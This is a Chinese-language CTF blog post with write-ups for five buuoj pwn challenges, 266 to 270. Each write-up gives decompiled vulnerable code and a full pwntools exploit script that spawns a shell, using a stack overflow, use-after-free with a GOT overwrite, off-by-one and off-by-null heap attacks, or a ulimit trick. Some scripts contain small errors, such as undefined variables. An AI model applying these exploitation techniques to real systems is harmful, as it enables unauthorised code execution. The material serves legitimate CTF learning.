buuoj Pwn writeup 266-270

原创

yongbaoii 于 2021-09-01 08:36:05 发布 20 收藏

分类专栏： CTF 文章标签： 网络安全

本文链接：https://blog.csdn.net/yongbaoii/article/details/119737825

266 pwnable_silverbullet

```
RELRO          STACK CANARY      NX           PIE          RPATH      RUNPATH      Symbols       FORTIFY Fortified      Fortifiable  FILE
Full RELRO     No canary found   NX enabled   No PIE       No RPATH   No RUNPATH   85 Symbols    No      0              8            ./266
```

create

```
int __cdecl create_bullet(char *s)
{
  size_t v2; // [esp+0h] [ebp-4h]

  if ( *s )
    return puts("You have been created the Bullet !");
  printf("Give me your description of bullet :");
  read_input(s, 48u);
  v2 = strlen(s);
  printf("Your power is : %u\n", v2);
  *((_DWORD *)s + 12) = v2;
  return puts("Good luck !!");
}
```


创造个什么武器，然后武器描述，然后长度是它的什么power。

power_up

```
int __cdecl power_up(char *dest)
{
  char s[48]; // [esp+0h] [ebp-34h] BYREF
  size_t v3; // [esp+30h] [ebp-4h]

  v3 = 0;
  memset(s, 0, sizeof(s));
  if ( !*dest )
    return puts("You need create the bullet first !");
  if ( *((_DWORD *)dest + 12) > 47u )
    return puts("You can't power up any more !");
  printf("Give me your another description of bullet :");
  read_input(s, 48 - *((_DWORD *)dest + 12));
  strncat(dest, s, 48 - *((_DWORD *)dest + 12));
  v3 = strlen(s) + *((_DWORD *)dest + 12);
  printf("Your new power is : %u\n", v3);
  *((_DWORD *)dest + 12) = v3;
  return puts("Enjoy it !");
}
```


那么显然我刚刚如果通过'\x00'的截断，power整成0，那么我这里可以直接溢出。

beat

```
int result; // eax

if ( *(_BYTE *)a1 )
{
  puts(">----------- Werewolf -----------<");
  printf(" + NAME : %s\n", *(const char **)(a2 + 4));
  printf(" + HP : %d\n", *(_DWORD *)a2);
  puts(">--------------------------------<");
  puts("Try to beat it .....");
  usleep(0xF4240u);
  *(_DWORD *)a2 -= *(_DWORD *)(a1 + 48);
  if ( *(int *)a2 <= 0 )
  {
    puts("Oh ! You win !!");
    result = 1;
  }
  else
  {
    puts("Sorry ... It still alive !!");
    result = 0;
  }
}
else
{
  puts("You need create the bullet first !");
  result = 0;
}
return result;
```


exp

```python
from pwn import *
context.log_level = "debug"

r = remote('node4.buuoj.cn',25942)

libc = ELF('./32/libc-2.23.so')
elf = ELF('./266')

main = 0x8048954

def create(des):
    r.sendlineafter("Your choice :",'1')
    r.sendafter("Give me your description of bullet :",des)

def power(des):
    r.sendlineafter("Your choice :",'2')
    r.sendafter("bullet :",des)

def beat():
    r.sendlineafter("Your choice :",'3')


puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

create('A'*0x20)
power('B'*0x10)
power(p32(0x7FFFFFFF)+"A"*3+p32(puts_plt)+p32(main)+p32(puts_got))
beat()

r.recvuntil('Oh ! You win !!\n')

puts = u32(r.recvuntil('\n',drop=True).ljust(4,'\x00'))
libc_base = puts - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh = libc_base + libc.search('/bin/sh').next()
print "libc_base = " + hex(libc_base)

create('A'*0x20)
power('B'*0x10)
power(p32(0x7FFFFFFF)+"A"*3+p32(system_addr)+p32(main)+p32(bin_sh))
beat()

r.interactive()
```

267 qwb2018_slient2

```
RELRO           STACK CANARY      NX            PIE           RPATH      RUNPATH      Symbols       FORTIFY Fortified      Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE        No RPATH   No RUNPATH   No Symbols     Yes    0               1            ./267
```

确实是比较沉默吧，一点输出没有。

add

```
__int64 sub_4009DC()
{
  size_t size; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 i; // [rsp+8h] [rbp-18h]
  char *v3; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  __isoc99_scanf("%lu", &size);
  getchar();
  if ( size != 16 && size <= 0x7F )
    exit(0);
  v3 = (char *)malloc(size);
  sub_400836(v3, size);
  for ( i = 0LL; i <= 9 && (&s)[i]; ++i )
    ;
  if ( i == 10 )
    exit(0);
  (&s)[i] = v3;
  return 0LL;
}
```


size意思是当小于0x7f的时候一定要是16，那我大于不就好了……

然后那个400836是输入函数。

经检验呢是没啥问题。

```
__int64 __fastcall sub_4008B6(void *a1, __int64 a2)
{
  __int64 result; // rax

  LODWORD(result) = read(0, a1, a2 - 1);
  *((_BYTE *)a1 + a2 - 1) = 0;
  return (unsigned int)result;
}
```


free

```
__int64 sub_400AB7()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h

  v2 = __readfsqword(0x28u);
  __isoc99_scanf("%d", &v1);
  getchar();
  if ( v1 < 0 || v1 > 9 )
    return 0xFFFFFFFFLL;
  free((&s)[v1]);
  return 0LL;
}
```


free这块呢确实是有个uaf。

所以非常简单，got表也可以写，然后也有system函数。

exp

```python
from pwn import *
context(os='linux', arch='amd64',log_level='debug')
r = remote("node4.buuoj.cn",29830)

elf=ELF("./267")

system_plt=elf.plt['system']
free_got=elf.got['free']


def create(size,content):
 sleep(0.2)
 r.sendline('1')
 sleep(0.2)
 r.sendline(str(size))
 sleep(0.2)
 r.sendline(content)

def delete(index):
 sleep(0.2)
 r.sendline('2')
 sleep(0.2)
 r.sendline(str(index))

create(0x80,'aaaaa')
create(0x80,'/bin/sh\x00')
delete(0)
delete(0)
create(0x80,p64(free_got)+'\x00')
create(0x80,'aaaa')
create(0x80,p64(system_plt))
delete(1)
r.interactive()
```

268 suctf2018_heap

```
RELRO           STACK CANARY      NX            PIE           RPATH      RUNPATH      Symbols       FORTIFY Fortified      Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE        No RPATH   No RUNPATH   87 Symbols    No      0              8            ./268
```

add

```
  puts("tai duo le");
puts("input len");
nbytes = getnum();
if ( nbytes > 0x7F && nbytes <= 0x100 )
{
  nbytes_4 = malloc(nbytes);
  s = malloc(nbytes);
  memset(s, 0, nbytes);
  memset(nbytes_4, 0, nbytes);
  puts("input your data");
  read(0, nbytes_4, (unsigned int)nbytes);
  strcpy((char *)s, (const char *)nbytes_4);
  ++total;
  for ( i = 0; i < total; ++i )
  {
    if ( !(&heap_form)[i] )
    {
      (&heap_form)[i] = (char *)s;
      break;
    }
  }
  if ( i == total )
    (&heap_form)[i] = (char *)s;
  free(nbytes_4);
}
else
{
  puts("no no no");
}
```


申请两个chunk，大小固定。

del

```
int delet()
{
  int v1; // [rsp+Ch] [rbp-4h]

  puts("input id");
  v1 = getnum();
  if ( v1 < 0 || total - 1 < v1 )
    return puts("no no no");
  free((&heap_form)[v1]);
  (&heap_form)[v1] = 0LL;
  return --total;
}
```


并没有啥问题。

show

```
int show()
{
  int result; // eax
  int v1; // [rsp+Ch] [rbp-4h]

  puts("input id");
  v1 = getnum();
  if ( v1 >= 0 && total - 1 >= v1 )
    result = printf("%s", (&heap_form)[v1]
  else
    result = puts("no no no");
  return result;
}
```


输出也正常、

edit

```
int edit()
{
  size_t v1; // rax
  int v2; // [rsp+Ch] [rbp-4h]

  puts("input id");
  v2 = getnum();
  if ( v2 < 0 || total - 1 < v2 )
    return puts("no no no");
  puts("input your data");
  v1 = strlen((&heap_form)[v2]);
  return read(0, (&heap_form)[v2], v1);
}
```

strlen可以造成off by one的溢出。

所以我们就off by one一套带走就好。

exp

```python
from pwn import *

context,log_level = "debug"

p=remote('node4.buuoj.cn',25766)
elf=ELF('./268')
libc=ELF("./64/libc-2.27.so")
def add(size,content):
    p.sendlineafter('edit','1')
    p.sendlineafter('len',str(size))
    p.sendafter('data',content)

def delete(idx):
    p.sendlineafter('edit','2')
    p.sendlineafter('id',str(idx))

def show(idx):
    p.sendlineafter('edit','3')
    p.sendlineafter('id',str(idx))

def edit(idx,content):
    p.sendlineafter('edit','4')
    p.sendlineafter('id',str(idx))
    p.sendafter('data',content)

add(0x88,'a'*0x88)
add(0x88,'\x11'*0x88)
add(0x88,'\x12'*0x88)
edit(0,'b'*0x88+'\xc1')
edit(2,'\x11'*0x20+p64(0)+p64(0x61))
delete(2)
delete(1)
add(0xb0,'\x52'*0x88+p64(0x91)+p64(0x6020C0-0x10))
add(0x88,'d'*0x20)
add(0x88,'\x11'*0x88)
edit(2,p64(0)*2+p64(elf.got['atoi']))
show(0)
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['atoi']
system=libcbase+libc.sym['system']
edit(0,p64(system))
sleep(1)
p.sendline('sh')
#add(0x88,'/bin/sh\x00')
#show(2)
p.interactive()
```

269 pwnable_otp

```
RELRO           STACK CANARY      NX            PIE           RPATH      RUNPATH      Symbols       FORTIFY Fortified      Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE        No RPATH   No RUNPATH   77 Symbols    Yes     0              6            ./269
```

```
v12 = __readfsqword(0x28u);
if ( argc == 2 )
{
  fd = open("/dev/urandom", 0, envp);
  if ( fd == -1 )
    exit(-1);
  if ( (unsigned int)read(fd, &buf, 0x10uLL) != 16 )
    exit(-1);
  close(fd);
  sprintf(s, "/tmp/%llu", buf);
  stream = fopen(s, "w");
  if ( !stream )
    exit(-1);
  fwrite(&v6, 8uLL, 1uLL, stream);
  fclose(stream);
  puts("OTP generated.");
  ptr = 0LL;
  v9 = fopen(s, "r");
  if ( !v9 )
    exit(-1);
  fread(&ptr, 8uLL, 1uLL, v9);
  fclose(v9);
  v4 = strtoul(argv[1], 0LL, 16);
  if ( v4 == ptr )
  {
    puts("Congratz!");
    system("/bin/cat flag");
  }
```


size_t fwrite(const void *ptr, size_t size, size_t nmemb, FILE *stream) 把 ptr 所指向的数组中的数据写入到给定流 stream 中
size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream) 从给定流 stream 读取数据到 ptr 所指向的数组中
unsigned long int strtoul(const char *str, char **endptr, int base) 把参数 str 所指向的字符串根据给定的 base 转换为一个无符号长整数（类型为 unsigned long int 型），base 必须介于 2 和 36（包含）之间，或者是特殊值 0。

所以我们发现上面一段程序的逻辑就是
随机开一个文件，v6输进去，然后再输出出来，然后通过命令行传参，比较，相同，就行了。

问题在哪，在fread他没有检测到底有没有读取成功，如果没读取成功会发生啥，如果没有读取成功，ptr始终是0，那么我们v4直接传入0就好啦。

那咋就能让我们不能读取成功，看大佬博客说有个 ulimit命令。

> ulimit命令用来限制系统用户对shell资源的访问。

所以我们限制shell所能创建的最大文件为0。

```
file locks                      (-x) unlimited
otp@0d92d2b01ffc:~$ ulimit -f 0
otp@0d92d2b01ffc:~$ python
Python 2.7.15+ (default, Nov 27 2018, 23:36:35)
[GCC 7.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os,signal
>>> signal.signal(signal.SIGXFSZ,signal.SIG_IGN)
1
>>> os.system('./otp 0')
OTP generated.
Congratz!
```


270 qctf_2018_babyheap

```
RELRO          STACK CANARY      NX           PIE           RPATH      RUNPATH      Symbols       FORTIFY Fortified      Fortifiable  FILE
Full RELRO     Canary found      NX enabled   PIE enabled   No RPATH   No RUNPATH   No Symbols     Yes    0               2            ./270
```

add

```
void __fastcall create(__int64 a1, __int64 a2)
{
  int i; // [rsp+0h] [rbp-10h]
  unsigned int size; // [rsp+4h] [rbp-Ch]
  void *ptr; // [rsp+8h] [rbp-8h]

  puts("Size: ");
  size = getint("Size: ", a2);
  ptr = malloc((int)size);
  if ( ptr )
  {
    for ( i = 0; i <= 6 && address_array[i]; ++i )
      ;
    if ( i == 7 )
    {
      puts("List is Full!\n");
      free(ptr);
    }
    else
    {
      puts("Data: ");
      getstring(ptr, size);
      address_array[i] = ptr;
    }
  }
}
```


逻辑简单。

```
unsigned __int64 __fastcall sub_9F1(__int64 a1, int a2)
{
  char buf; // [rsp+13h] [rbp-Dh] BYREF
  int i; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  for ( i = 0; i < a2; ++i )
  {
    if ( (int)read(0, &buf, 1uLL) < 0 )
      puts("Read error!\n");
    if ( buf == 10 )
      break;
    *(_BYTE *)(a1 + i) = buf;
  }
  *(_BYTE *)(i + a1) = 0;
  return __readfsqword(0x28u) ^ v5;
}
```


显然有个off by null。

free

```
int delete()
{
  _QWORD *v0; // rax
  int v2; // [rsp+Ch] [rbp-4h]

  puts("Index: ");
  LODWORD(v0) = getint();
  v2 = (int)v0;
  if ( (unsigned int)v0 <= 6 )
  {
    free((void *)address_array[(unsigned int)v0]);
    v0 = address_array;
    address_array[v2] = 0LL;
  }
  return (int)v0;
}
```


干干净净

show

```
int show()
{
  __int64 v0; // rax
  int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 6; ++i )
  {
    v0 = address_array[i];
    if ( v0 )
      LODWORD(v0) = printf("%d : %s \n", (unsigned int)i, (const char *)address_array[i]);
  }
  return v0;
}
```


常规显示。

所以说白了就是house of ein解决问题。

exp

```python
from pwn import *

r = remote("node4.buuoj.cn", 26026)

def create(size,pay):
 r.recvuntil('Your choice :')
 r.sendline('1')
 r.recvuntil('Size:')
 r.sendline(str(size))
 r.recvuntil('Data:')
 r.send(pay)

def delete(idx):
 r.recvuntil('Your choice :')
 r.sendline('2')
 r.recvuntil('Index')
 r.sendline(str(idx))
def show():
        r.recvuntil('Your choice :')
        r.sendline('3')

create(0x100-8,'A'*0x20+'\n')#0
create(0x650-8,'B'*0x5f0+p64(0x600)+p64(0x50)+'\n')#1
create(0x500,'C'*0x20+'\n')#2
create(0x100,'D'*0x20+'\n')#3
delete(0)
delete(1)
create(0x100-8,'A'*0xf8+'\n')#0
create(0x500-8,'E'*0x10+'\n')#1
create(0x100-8,'F'*0x10+'\n')#4
delete(1)
delete(2)
create(0x500-8,'G'*0x10+'\n')#1

show()
r.recvuntil('4 : ')
libc_base = u64(s.recv(6)+'\x00'*2)-0x3ebca0

create(0x100-8,'H'*0x10+'\n')#2
delete(4)
delete(2)
create(0x100-8,p64(libc+0x3ED8E8)+'\n')
create(0x100-8,p64(libc+0x3ed8e8)+'\n')
create(0x100-8,p64(libc+0x4F440)+'\n')
create(0x200-8,'/bin/sh\x00'+'\n')#6
delete(6)

r.interactive()
```